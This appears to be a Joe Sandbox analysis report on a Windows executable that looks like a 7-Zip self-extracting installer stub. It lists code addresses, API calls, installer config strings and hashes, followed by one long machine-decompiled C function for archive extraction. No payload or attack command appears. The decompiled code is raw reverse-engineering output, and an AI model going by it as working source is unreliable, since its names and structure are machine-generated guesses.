0x0040183d
0x00401843
0x0040184a
0x00401850
0x0040185d
0x00401868
0x00401889
0x0040188f
0x00401891
0x00401940
0x00401952
0x00401955
0x0040195a
0x0040195a
0x0040195e
0x00401965
0x0040196e
0x0040196e
0x00401977
0x0040197c
0x00401987
0x0040198d
0x00401990
0x00401995
0x00401995
0x00000000
0x00401897
0x00401897
0x0040189a
0x0040189c
0x0040189e
0x0040189e
0x004018a9
0x004018ae
0x004018af
0x004018b2
0x004018b4
0x004018b7
0x004018b7
0x004018c2
0x004018c8
0x004018cb
0x004018d0
0x004018d0
0x004018d9
0x004018e4
0x004018ec
0x004018f7
0x004018ff
0x00401907
0x0040190f
0x00401917
0x0040191f
0x0040192a
0x00401934
0x00000000
0x00401934
0x00401891
0x00401739
0x0040174e
0x0040175b
0x0040175f
0x00401762
0x00401767
0x0040176b
0x00000000
0x00000000
0x0040176d
0x00401770
0x0040177d
0x0040177d
0x00000000
0x00401770
0x00401660
0x00401668
0x0040166b
0x00401675
0x0040167f
0x00401685
0x0040168b
0x00401691
0x0040169a
0x0040169a
0x004016a5
0x004016ad
0x004016b5
0x004016b7
0x004016c4
0x004016ca
0x004016d7
0x004016dd
0x004016e4
0x00401716
0x00401719
0x00401721
0x00000000
0x004016e6
0x004016e6
0x004016e9
0x004016f0
0x004016f2
0x004016f2
0x004016fa
0x00401702
0x00000000
0x00401707
0x004016e4
0x00401627
0x0040162c
0x00401637
0x00000000
0x0040163d
0x00401585
0x00401588
0x004015f1
0x004015f1
0x00000000
0x004015f1
0x0040158a
0x0040158d
0x00401594
0x0040159c
0x004015a6
0x004015b1
0x004015b7
0x004015bc
0x004015bc
0x004015c1
0x004015c3
0x004015c6
0x004015d0
0x004015df
0x004015eb
0x004015f0
0x004015c6
0x00000000
0x004015c1
0x0040158f
0x00401592
0x00000000
0x00000000
0x00000000
0x0040152a
0x00401531
0x0040163e
0x0040163e
0x00401640
0x00401649
0x00401649
0x004014e8
0x004014e8
0x004014ea
0x00401998
0x0040199e
0x004019a9
0x004019b1
0x004019bc
0x004019c1
0x00000000
0x004019c1
0x00401528
0x004014d7
0x004014da
0x004014e1
0x004014e3
0x004014e3
0x00000000
0x004014da
0x004011d7
0x004011ea
0x004011f0
0x004011f5
0x004011f7
0x0040121a
0x0040122c
0x00401234
0x0040123c
0x00401243
0x00401255
0x0040125d
0x00401265
0x0040126c
0x00401281
0x00401289
0x0040129a
0x0040129f
0x004012a1
0x004012a3
0x004012a3
0x004012b1
0x004012c7
0x004012c9
0x004012ce
0x004012d1
0x004012e2
0x004012e6
0x004012e6
0x004012eb
0x004012ee
0x0040139d
0x004013a5
0x004013c3
0x004013ce
0x004013d6
0x004013e5
0x00401403
0x0040140e
0x00401416
0x00401425
0x00401433
0x00401454
0x0040145f
0x0040146a
0x00401472
0x0040147d
0x00401485
0x0040148d
0x00401492
0x0040149b
0x004014a1
0x004014ac
0x00000000
0x004012f4
0x004012f4
0x004012f7
0x00000000
0x00000000
0x00401306
0x0040130c
0x0040130f
0x00000000
0x00000000
0x0040131b
0x00401323
0x0040132b
0x00401330
0x00401333
0x00401339
0x0040133f
0x0040134a
0x00401352
0x0040135d
0x00401365
0x0040136d
0x00401375
0x0040137d
0x00401385
0x00401390
0x00000000
0x00401395
0x004012ee
0x004011f9
0x004011fc
0x00401203
0x00401205
0x00401205
0x0040120a
0x0040120c
0x00000000
0x00401186
0x00401189
0x00401192
0x00401192
0x00401197
0x00401199
0x004019c4
0x004019c7
0x004019cf
0x004019d7
0x004019df
0x004019e7
0x004019f2
0x004019fa
0x00000000
0x004019fa

APIs

Part of subcall function 00401A51: GetVersionExA.KERNEL32(?), ref: 00401A6B

GetCommandLineW.KERNEL32(00000003,00000003,00000003,00000003,?,00000000), ref: 0040108B

Part of subcall function 004038EE: __EH_prolog.LIBCMT ref: 004038F3

Part of subcall function 004045E2: __EH_prolog.LIBCMT ref: 004045E7
Part of subcall function 004045E2: GetModuleFileNameW.KERNEL32(?,?,00000105,00000003,00000000,00000000), ref: 00404618

Part of subcall function 0040235E: __EH_prolog.LIBCMT ref: 00402363

Part of subcall function 00402323: __EH_prolog.LIBCMT ref: 00402328

Part of subcall function 00403D5A: __EH_prolog.LIBCMT ref: 00403D5F

MessageBoxW.USER32(00000000,?,?,00000010), ref: 004015DF
SetCurrentDirectoryA.KERNELBASE(?,?,00000001,?,?,00000003,00000003,0042023C,;!@InstallEnd@!,?,00000003,00000000,00000002,00420274,00000003,?), ref: 0040161E
SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401627
ShellExecuteExA.SHELL32(0000003C,?,00000000), ref: 004016D7
MessageBoxW.USER32(00000000,?,?,00000024), ref: 00401306

Part of subcall function 00411093: MessageBoxW.USER32(00000000,?,7-Zip,00000010), ref: 0041109C

Part of subcall function 00402F15: __EH_prolog.LIBCMT ref: 00402F1A

SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 004018B2
CloseHandle.KERNEL32(?,?,00000000), ref: 00401940
WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00401965
CloseHandle.KERNEL32(?,?,00000000), ref: 0040196E
SetCurrentDirectoryA.KERNELBASE(?,?,00000000), ref: 00401977

Strings

;!@InstallEnd@!, xrefs: 00401173
%%T\, xrefs: 0040179E
Can not open file, xrefs: 004016EB
;!@Install@!UTF-8!, xrefs: 00401178
ExecuteParameters, xrefs: 0040141D
Can't load config info, xrefs: 0040118B
Title, xrefs: 00401212
Can not create temp folder archive, xrefs: 004014DC
%%T, xrefs: 004017CD
Can not find setup.exe, xrefs: 00401776
D, xrefs: 00401821
setup.exe, xrefs: 00401731
> @, xrefs: 004011DC
Directory, xrefs: 004012A9
, xrefs: 004016DD
Config failed, xrefs: 004011FE
RunProgram, xrefs: 0040139D
ExecuteFile, xrefs: 004013DD
<, xrefs: 0040166B
Can not load codecs, xrefs: 0040152A

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog$CurrentDirectory$Message$CloseHandle$CommandExecuteFileLineModuleNameObjectShellSingleVersionWait
String ID: $%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$> @$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$RunProgram$Title$setup.exe
API String ID: 2760820266-829806607
Opcode ID: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction ID: 30a6e78c0a87ce65c61bf6c489231b06ab30573cf11c386798d37ebdc1e5dfdc
Opcode Fuzzy Hash: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
Instruction Fuzzy Hash: 57524971D002199ADF21EFA1DC85AEEBB75BF04318F1040BFE149761A2DB395A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD19 Relevance: 14.2, APIs: 9, Instructions: 682
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E0040AD19(char* __ecx, void* __eflags) {
				signed int _t373;
				signed int _t382;
				intOrPtr* _t417;
				signed int _t419;
				signed int _t423;
				signed int _t429;
				signed int _t430;
				intOrPtr* _t440;
				intOrPtr* _t441;
				signed int _t453;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t471;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t490;
				signed int _t504;
				signed int _t505;
				intOrPtr _t507;
				signed int _t508;
				signed char _t510;
				char _t512;
				intOrPtr* _t513;
				signed int _t518;
				signed int _t523;
				signed int _t535;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				intOrPtr* _t540;
				signed int _t580;
				signed int _t581;
				intOrPtr _t589;
				signed int _t595;
				signed int _t626;
				signed int _t652;
				signed int _t653;
				char* _t658;
				signed int _t660;
				signed int _t661;
				intOrPtr* _t662;
				signed int _t664;
				signed int* _t667;
				signed int _t668;
				signed int _t669;
				signed int _t670;
				intOrPtr _t671;
				signed int _t672;
				signed int _t673;
				signed int _t674;
				intOrPtr _t675;
				intOrPtr* _t676;
				signed int _t677;
				void* _t678;

				E00413954(E0041A132, _t678);
				_t664 =  *(_t678 + 0x18);
				_t658 = __ecx;
				 *((intOrPtr*)(_t678 - 0x30)) = __ecx;
				if(E0040D7CC(_t664) == 0) {
					L81:
					_t373 = 0x80004001;
					L114:
					 *[fs:0x0] =  *((intOrPtr*)(_t678 - 0xc));
					return _t373;
				}
				E00402155(_t678 - 0x2c);
				 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
				 *(_t678 - 4) = 0;
				 *((intOrPtr*)(_t678 - 0x50)) = 0;
				E00413310(_t678 - 0x4c);
				 *(_t678 - 4) = 1;
				E0040640D(_t678 - 0x50,  *(_t678 + 8));
				 *(_t678 + 8) = 0;
				if( *((intOrPtr*)(_t664 + 0x30)) <= 0) {
					L19:
					_t535 =  *( *(_t678 + 0x18) + 8);
					 *(_t678 - 0x18) = _t535;
					E0040ACC4(_t678 - 0xf8);
					 *(_t678 - 4) = 4;
					E0040B99B(_t678 - 0xa8);
					 *(_t678 - 4) = 5;
					E0040B63C( *(_t678 + 0x18), _t678 - 0xf8);
					if( *_t658 == 0) {
						L21:
						E004042D6();
						_t382 =  *(_t658 + 0x74);
						_t667 = _t658 + 0x74;
						if(_t382 != 0) {
							 *((intOrPtr*)( *_t382 + 8))(_t382);
							 *_t667 =  *_t667 & 0x00000000;
						}
						if( *((char*)(_t658 + 0x68)) != 0) {
							_push(0x88);
							_t504 = E00403A76();
							 *(_t678 + 8) = _t504;
							 *(_t678 - 4) = 6;
							if(_t504 == 0) {
								_t505 = 0;
								__eflags = 0;
							} else {
								_t505 = E0040B860(_t504);
							}
							 *(_t678 - 4) = 5;
							 *((intOrPtr*)(_t658 + 0x6c)) = _t505;
							E0040640D(_t667, _t505);
							_t507 =  *((intOrPtr*)(_t658 + 0x6c));
							if(_t507 == 0) {
								_t508 = 0;
								__eflags = 0;
							} else {
								_t508 = _t507 + 4;
							}
							 *((intOrPtr*)(_t658 + 0x70)) = _t508;
						}
						_t668 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t658 + 0x70))))))(_t678 - 0xf8);
						_t700 = _t668;
						if(_t668 == 0) {
							 *(_t678 - 0x10) =  *(_t678 - 0x10) & 0x00000000;
							__eflags = _t535;
							if(__eflags <= 0) {
								L50:
								E0040B96F(_t658 + 4, __eflags, _t678 - 0xf8);
								 *_t658 = 1;
								L51:
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t658 + 0x70)))) + 4))();
								_t669 = 0;
								__eflags =  *(_t678 - 0x18);
								 *((intOrPtr*)(_t678 - 0x34)) = 0;
								 *(_t678 + 0x10) = 0;
								 *(_t678 - 0x14) = 0;
								if( *(_t678 - 0x18) <= 0) {
									L105:
									E0040A402(_t678 - 0xf8,  *((intOrPtr*)( *((intOrPtr*)(_t678 - 0xb0)))), _t678 - 0x58, _t678 - 0xfc);
									__eflags =  *((char*)(_t658 + 0x68));
									if( *((char*)(_t658 + 0x68)) != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t658 + 0x6c)) + 0x70)) =  *((intOrPtr*)(_t678 - 0x58));
									}
									__eflags =  *(_t678 - 0x18) - _t669;
									if( *(_t678 - 0x18) != _t669) {
										E004032A8(_t678 - 0x94, 4);
										 *((intOrPtr*)(_t678 - 0x94)) = 0x41b6b8;
										 *(_t678 - 4) = 0x1d;
										E00404327(_t678 - 0x94,  *(_t678 - 0x24));
										_t670 = 0;
										__eflags =  *(_t678 - 0x24);
										if( *(_t678 - 0x24) <= 0) {
											L112:
											_t660 =  *(_t658 + 0x74);
											 *((intOrPtr*)(_t678 - 0x54)) =  *((intOrPtr*)(_t678 + 0x1c));
											_t668 =  *((intOrPtr*)( *_t660 + 0xc))(_t660,  *((intOrPtr*)(_t678 - 0x88)), 0,  *(_t678 - 0x24), _t678 - 0x54, 0, 1,  *((intOrPtr*)(_t678 + 0x20)));
											 *(_t678 - 4) = 5;
											E004042AD(_t678 - 0x94);
											 *(_t678 - 4) = 0x1e;
											E004042AD(_t678 - 0xa8);
											 *(_t678 - 4) = 1;
											E004099BC(_t678 - 0xf8, __eflags);
											 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
											E0040B845(_t678 - 0x50);
											_t366 = _t678 - 4;
											 *_t366 =  *(_t678 - 4) | 0xffffffff;
											__eflags =  *_t366;
											E0040A5AC(_t678 - 0x2c);
											goto L113;
										} else {
											goto L111;
										}
										do {
											L111:
											E004039DF(_t678 - 0x94,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t678 - 0x20)) + _t670 * 4)))));
											_t670 = _t670 + 1;
											__eflags = _t670 -  *(_t678 - 0x24);
										} while (_t670 <  *(_t678 - 0x24));
										goto L112;
									} else {
										 *(_t678 - 4) = 0x1b;
										E004042AD(_t678 - 0xa8);
										 *(_t678 - 4) = 1;
										E004099BC(_t678 - 0xf8, __eflags);
										 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
										DeleteCriticalSection(_t678 - 0x4c);
										E00403800(_t678 - 0x50);
										 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
										 *(_t678 - 4) = 0x1c;
										_t668 = 0;
										__eflags = 0;
										goto L109;
									}
								}
								_t661 =  *(_t678 + 0x18);
								 *(_t678 + 8) = 0;
								do {
									 *(_t678 + 0x18) =  *(_t678 + 0x18) & 0x00000000;
									_t671 =  *((intOrPtr*)( *((intOrPtr*)(_t661 + 0xc)) +  *(_t678 - 0x14) * 4));
									_t417 =  *((intOrPtr*)( *((intOrPtr*)( *(_t678 + 8) +  *((intOrPtr*)( *((intOrPtr*)(_t678 - 0x30)) + 0x84))))));
									 *(_t678 - 4) = 0x12;
									 *((intOrPtr*)( *_t417))(_t417, 0x41b298, _t678 + 0x18);
									_t419 =  *(_t678 + 0x18);
									__eflags = _t419;
									if(_t419 == 0) {
										L57:
										__eflags = _t419;
										 *(_t678 - 4) = 5;
										if(_t419 != 0) {
											 *((intOrPtr*)( *_t419 + 8))(_t419);
										}
										_t537 =  *(_t671 + 0x14);
										 *(_t678 + 8) =  *(_t678 + 8) + 4;
										_t672 =  *(_t671 + 0x18);
										E004032A8(_t678 - 0x6c, 4);
										 *((intOrPtr*)(_t678 - 0x6c)) = 0x41b68c;
										 *(_t678 - 4) = 0x17;
										E004032A8(_t678 - 0x80, 4);
										 *((intOrPtr*)(_t678 - 0x80)) = 0x41b68c;
										 *(_t678 - 4) = 0x18;
										E00404327(_t678 - 0x6c, _t537);
										_t423 = E00404327(_t678 - 0x80, _t672);
										__eflags = _t672;
										if(_t672 <= 0) {
											L61:
											 *(_t678 - 0x10) =  *(_t678 - 0x10) & 0x00000000;
											__eflags = _t537;
											if(_t537 <= 0) {
												goto L94;
											}
											_t675 =  *((intOrPtr*)(_t678 - 0x34));
											do {
												_t580 =  *(_t661 + 0x1c);
												_t652 = 0;
												__eflags = _t580;
												if(_t580 <= 0) {
													L83:
													_t429 = _t423 | 0xffffffff;
													__eflags = _t429;
													L84:
													__eflags = _t429;
													if(_t429 < 0) {
														_t581 =  *(_t661 + 0x30);
														_t653 = 0;
														__eflags = _t581;
														if(_t581 <= 0) {
															L90:
															_t430 = _t429 | 0xffffffff;
															__eflags = _t430;
															L91:
															__eflags = _t430;
															if(_t430 < 0) {
																 *(_t678 - 4) = 0x17;
																E004042AD(_t678 - 0x80);
																 *(_t678 - 4) = 5;
																E004042AD(_t678 - 0x6c);
																 *(_t678 - 4) = 0x19;
																E004042AD(_t678 - 0xa8);
																 *(_t678 - 4) = 1;
																E004099BC(_t678 - 0xf8, __eflags);
																 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
																DeleteCriticalSection(_t678 - 0x4c);
																E00403800(_t678 - 0x50);
																 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
																 *(_t678 - 4) = 0x1a;
																E004042D6();
																 *(_t678 - 4) =  *(_t678 - 4) | 0xffffffff;
																E004042AD(_t678 - 0x2c);
																_t373 = 0x80004005;
																goto L114;
															}
															_t589 =  *((intOrPtr*)(_t678 + 0x14));
															goto L93;
														}
														_t441 =  *((intOrPtr*)(_t661 + 0x34));
														while(1) {
															__eflags =  *_t441 - _t675;
															if( *_t441 == _t675) {
																break;
															}
															_t653 = _t653 + 1;
															_t441 = _t441 + 4;
															__eflags = _t653 - _t581;
															if(_t653 < _t581) {
																continue;
															}
															goto L90;
														}
														_t430 = _t653;
														goto L91;
													}
													_t430 =  *( *((intOrPtr*)(_t661 + 0x20)) + 4 + _t429 * 8);
													_t589 =  *((intOrPtr*)(_t661 + 0x48));
													goto L93;
												}
												_t440 =  *((intOrPtr*)(_t661 + 0x20));
												while(1) {
													__eflags =  *_t440 - _t675;
													if( *_t440 == _t675) {
														break;
													}
													_t652 = _t652 + 1;
													_t440 = _t440 + 8;
													__eflags = _t652 - _t580;
													if(_t652 < _t580) {
														continue;
													}
													goto L83;
												}
												_t429 = _t652;
												goto L84;
												L93:
												_t423 = E004039DF(_t678 - 0x6c, _t589 + _t430 * 8);
												 *(_t678 - 0x10) =  *(_t678 - 0x10) + 1;
												_t675 = _t675 + 1;
												__eflags =  *(_t678 - 0x10) - _t537;
												 *((intOrPtr*)(_t678 - 0x34)) = _t675;
											} while ( *(_t678 - 0x10) < _t537);
											goto L94;
										} else {
											do {
												_t423 = E004039DF(_t678 - 0x80,  *((intOrPtr*)(_t661 + 0x48)) +  *(_t678 + 0x10) * 8);
												 *(_t678 + 0x10) =  *(_t678 + 0x10) + 1;
												_t672 = _t672 - 1;
												__eflags = _t672;
											} while (_t672 != 0);
											goto L61;
										}
									}
									_t595 =  *(_t671 + 0xc);
									__eflags = _t595 - 0xffffffff;
									 *(_t678 - 0x10) = _t595;
									if(_t595 > 0xffffffff) {
										__eflags = _t419;
										 *(_t678 - 4) = 5;
										if(_t419 != 0) {
											 *((intOrPtr*)( *_t419 + 8))(_t419);
										}
										 *(_t678 - 4) = 0x13;
										E004042AD(_t678 - 0xa8);
										 *(_t678 - 4) = 1;
										E004099BC(_t678 - 0xf8, __eflags);
										 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
										DeleteCriticalSection(_t678 - 0x4c);
										E00403800(_t678 - 0x50);
										 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
										 *(_t678 - 4) = 0x14;
										_t538 = 0x80004001;
										L103:
										E004042D6();
										 *(_t678 - 4) =  *(_t678 - 4) | 0xffffffff;
										E004042AD(_t678 - 0x2c);
										_t373 = _t538;
										goto L114;
									}
									_t538 =  *((intOrPtr*)( *_t419 + 0xc))(_t419,  *((intOrPtr*)(_t671 + 0x10)),  *(_t678 - 0x10));
									__eflags = _t538;
									if(_t538 != 0) {
										_t453 =  *(_t678 + 0x18);
										 *(_t678 - 4) = 5;
										__eflags = _t453;
										if(_t453 != 0) {
											 *((intOrPtr*)( *_t453 + 8))(_t453);
										}
										 *(_t678 - 4) = 0x15;
										E004042AD(_t678 - 0xa8);
										 *(_t678 - 4) = 1;
										E004099BC(_t678 - 0xf8, __eflags);
										_t287 = _t678 - 4;
										 *_t287 =  *(_t678 - 4) & 0x00000000;
										__eflags =  *_t287;
										DeleteCriticalSection(_t678 - 0x4c);
										E00403800(_t678 - 0x50);
										 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
										 *(_t678 - 4) = 0x16;
										goto L103;
									}
									_t419 =  *(_t678 + 0x18);
									goto L57;
									L94:
									_t673 =  *(_t678 - 0x14);
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t678 - 0x30)) + 0x70)))) + 8))(_t673,  *((intOrPtr*)(_t678 - 0x60)),  *((intOrPtr*)(_t678 - 0x74)));
									 *(_t678 - 4) = 0x17;
									E004042AD(_t678 - 0x80);
									 *(_t678 - 4) = 5;
									E004042AD(_t678 - 0x6c);
									_t674 = _t673 + 1;
									__eflags = _t674 -  *(_t678 - 0x18);
									 *(_t678 - 0x14) = _t674;
								} while (_t674 <  *(_t678 - 0x18));
								_t658 =  *((intOrPtr*)(_t678 - 0x30));
								_t669 = 0;
								goto L105;
							} else {
								goto L34;
							}
							while(1) {
								L34:
								_t676 =  *((intOrPtr*)( *((intOrPtr*)( *(_t678 + 0x18) + 0xc)) +  *(_t678 - 0x10) * 4));
								 *(_t678 + 0x10) = 0;
								 *(_t678 + 8) = 0;
								_push(0);
								_push( *((intOrPtr*)(_t676 + 4)));
								 *(_t678 - 4) = 0xa;
								_push( *_t676);
								_t462 = E004063BD(_t678 + 0x10, _t678 + 8, __eflags);
								_t539 = _t462;
								__eflags = _t539;
								if(_t539 != 0) {
									break;
								}
								 *(_t678 - 0x14) =  *(_t678 - 0x14) & _t462;
								__eflags =  *((intOrPtr*)(_t676 + 0x14)) - 1;
								 *(_t678 - 4) = 0xd;
								if( *((intOrPtr*)(_t676 + 0x14)) != 1) {
									L40:
									__eflags =  *(_t678 + 8);
									if( *(_t678 + 8) == 0) {
										_t471 =  *(_t678 + 0x10);
										 *(_t678 - 4) = 5;
										__eflags = _t471;
										if(_t471 != 0) {
											 *((intOrPtr*)( *_t471 + 8))(_t471);
										}
										 *(_t678 - 4) = 0x10;
										E004042AD(_t678 - 0xa8);
										 *(_t678 - 4) = 1;
										E004099BC(_t678 - 0xf8, __eflags);
										 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
										DeleteCriticalSection(_t678 - 0x4c);
										E00403800(_t678 - 0x50);
										 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
										 *(_t678 - 4) = 0x11;
										E004042D6();
										_t237 = _t678 - 4;
										 *_t237 =  *(_t678 - 4) | 0xffffffff;
										__eflags =  *_t237;
										E004042AD(_t678 - 0x2c);
										goto L81;
									}
									E0040640D(_t678 - 0x14,  *(_t678 + 8));
									__eflags =  *((char*)(_t658 + 0x68));
									if(__eflags != 0) {
										E0040A0DE( *((intOrPtr*)(_t658 + 0x6c)), _t678, __eflags,  *(_t678 + 8));
									}
									L43:
									_push(_t678 - 0x14);
									E0040BAB0(_t658 + 0x78);
									_t482 =  *(_t678 - 0x14);
									 *(_t678 - 4) = 0xa;
									__eflags = _t482;
									if(_t482 != 0) {
										 *((intOrPtr*)( *_t482 + 8))(_t482);
									}
									_t483 =  *(_t678 + 8);
									 *(_t678 - 4) = 9;
									__eflags = _t483;
									if(_t483 != 0) {
										 *((intOrPtr*)( *_t483 + 8))(_t483);
									}
									_t484 =  *(_t678 + 0x10);
									 *(_t678 - 4) = 5;
									__eflags = _t484;
									if(_t484 != 0) {
										 *((intOrPtr*)( *_t484 + 8))(_t484);
									}
									 *(_t678 - 0x10) =  *(_t678 - 0x10) + 1;
									__eflags =  *(_t678 - 0x10) -  *(_t678 - 0x18);
									if(__eflags < 0) {
										continue;
									} else {
										goto L50;
									}
								}
								__eflags =  *((intOrPtr*)(_t676 + 0x18)) - 1;
								if( *((intOrPtr*)(_t676 + 0x18)) != 1) {
									goto L40;
								}
								_t626 =  *(_t678 + 0x10);
								__eflags = _t626;
								if(_t626 == 0) {
									_t490 =  *(_t678 + 8);
									 *(_t678 - 4) = 9;
									__eflags = _t490;
									if(_t490 != 0) {
										 *((intOrPtr*)( *_t490 + 8))(_t490);
										_t626 =  *(_t678 + 0x10);
									}
									__eflags = _t626;
									 *(_t678 - 4) = 5;
									if(_t626 != 0) {
										 *((intOrPtr*)( *_t626 + 8))(_t626);
									}
									 *(_t678 - 4) = 0xe;
									E004042AD(_t678 - 0xa8);
									 *(_t678 - 4) = 1;
									E004099BC(_t678 - 0xf8, __eflags);
									 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
									DeleteCriticalSection(_t678 - 0x4c);
									E00403800(_t678 - 0x50);
									 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
									 *(_t678 - 4) = 0xf;
									_t668 = 0x80004001;
									goto L109;
								}
								E0040640D(_t678 - 0x14, _t626);
								__eflags =  *((intOrPtr*)(_t658 + 0x68)) - _t539;
								if(__eflags != 0) {
									E0040A0B9( *((intOrPtr*)(_t658 + 0x6c)), _t678, __eflags,  *(_t678 + 0x10));
								}
								goto L43;
							}
							_t463 =  *(_t678 + 8);
							 *(_t678 - 4) = 9;
							__eflags = _t463;
							if(_t463 != 0) {
								 *((intOrPtr*)( *_t463 + 8))(_t463);
							}
							_t464 =  *(_t678 + 0x10);
							 *(_t678 - 4) = 5;
							__eflags = _t464;
							if(_t464 != 0) {
								 *((intOrPtr*)( *_t464 + 8))(_t464);
							}
							 *(_t678 - 4) = 0xb;
							E004042AD(_t678 - 0xa8);
							 *(_t678 - 4) = 1;
							E004099BC(_t678 - 0xf8, __eflags);
							 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
							DeleteCriticalSection(_t678 - 0x4c);
							E00403800(_t678 - 0x50);
							 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
							 *(_t678 - 4) = 0xc;
							_t668 = _t539;
							goto L109;
						} else {
							 *(_t678 - 4) = 7;
							E004042AD(_t678 - 0xa8);
							 *(_t678 - 4) = 1;
							E004099BC(_t678 - 0xf8, _t700);
							 *(_t678 - 4) =  *(_t678 - 4) & 0x00000000;
							DeleteCriticalSection(_t678 - 0x4c);
							E00403800(_t678 - 0x50);
							 *((intOrPtr*)(_t678 - 0x2c)) = 0x41b6c8;
							 *(_t678 - 4) = 8;
							L109:
							E004042D6();
							 *(_t678 - 4) =  *(_t678 - 4) | 0xffffffff;
							E004042AD(_t678 - 0x2c);
							L113:
							_t373 = _t668;
							goto L114;
						}
					}
					_t510 = E0040B753(_t678 - 0xf8, _t658 + 4);
					asm("sbb al, al");
					_t512 =  ~_t510 + 1;
					 *((char*)(_t678 + 0xb)) = _t512;
					if(_t512 == 0) {
						goto L51;
					}
					goto L21;
				} else {
					_t540 =  *((intOrPtr*)(_t678 + 0x14));
					do {
						_push(0x18);
						_t513 = E00403A76();
						if(_t513 == 0) {
							_t662 = 0;
							__eflags = 0;
						} else {
							 *(_t513 + 4) =  *(_t513 + 4) & 0x00000000;
							 *_t513 = 0x41b6e8;
							_t662 = _t513;
						}
						 *((intOrPtr*)(_t678 - 0x34)) = _t662;
						if(_t662 != 0) {
							 *((intOrPtr*)( *_t662 + 4))(_t662);
						}
						_push(0x28);
						 *((intOrPtr*)(_t662 + 8)) = _t678 - 0x50;
						 *((intOrPtr*)(_t662 + 0x10)) =  *((intOrPtr*)(_t678 + 0xc));
						 *(_t662 + 0x14) =  *(_t678 + 0x10);
						 *((intOrPtr*)(_t678 + 0xc)) =  *((intOrPtr*)(_t678 + 0xc)) +  *_t540;
						 *(_t678 - 4) = 2;
						asm("adc [ebp+0x10], ecx");
						_t518 = E00403A76();
						if(_t518 == 0) {
							_t677 = 0;
							__eflags = 0;
						} else {
							 *(_t518 + 4) =  *(_t518 + 4) & 0x00000000;
							 *(_t518 + 8) =  *(_t518 + 8) & 0x00000000;
							 *_t518 = 0x41b6d8;
							_t677 = _t518;
						}
						 *(_t678 - 0x18) = _t677;
						if(_t677 != 0) {
							 *((intOrPtr*)( *_t677 + 4))(_t677);
						}
						_t34 = _t677 + 8; // 0x8
						 *(_t678 - 4) = 3;
						E0040640D(_t34, _t662);
						 *(_t677 + 0x18) =  *(_t677 + 0x18) & 0x00000000;
						 *(_t677 + 0x1c) =  *(_t677 + 0x1c) & 0x00000000;
						 *(_t677 + 0x20) =  *(_t677 + 0x20) & 0x00000000;
						 *((intOrPtr*)(_t677 + 0x10)) =  *_t540;
						 *((intOrPtr*)(_t677 + 0x14)) =  *((intOrPtr*)(_t540 + 4));
						_push(_t678 - 0x18);
						E0040A5E4(_t678 - 0x2c);
						_t523 =  *(_t678 - 0x18);
						 *(_t678 - 4) = 2;
						if(_t523 != 0) {
							 *((intOrPtr*)( *_t523 + 8))(_t523);
						}
						 *(_t678 - 4) = 1;
						if(_t662 != 0) {
							 *((intOrPtr*)( *_t662 + 8))(_t662);
						}
						 *(_t678 + 8) =  *(_t678 + 8) + 1;
						_t540 = _t540 + 8;
					} while ( *(_t678 + 8) <  *((intOrPtr*)( *(_t678 + 0x18) + 0x30)));
					_t658 =  *((intOrPtr*)(_t678 - 0x30));
					goto L19;
				}
			}

0x0040ad1e
0x0040ad2b
0x0040ad2f
0x0040ad33
0x0040ad3d
0x0040b2d7
0x0040b2d7
0x0040b605
0x0040b60b
0x0040b613
0x0040b613
0x0040ad46
0x0040ad4b
0x0040ad57
0x0040ad5a
0x0040ad5d
0x0040ad68
0x0040ad6c
0x0040ad74
0x0040ad79
0x0040ae60
0x0040ae69
0x0040ae6c
0x0040ae6f
0x0040ae7a
0x0040ae7e
0x0040ae8b
0x0040ae8f
0x0040ae97
0x0040aeb6
0x0040aeb9
0x0040aebe
0x0040aec1
0x0040aec6
0x0040aecb
0x0040aece
0x0040aece
0x0040aed5
0x0040aed7
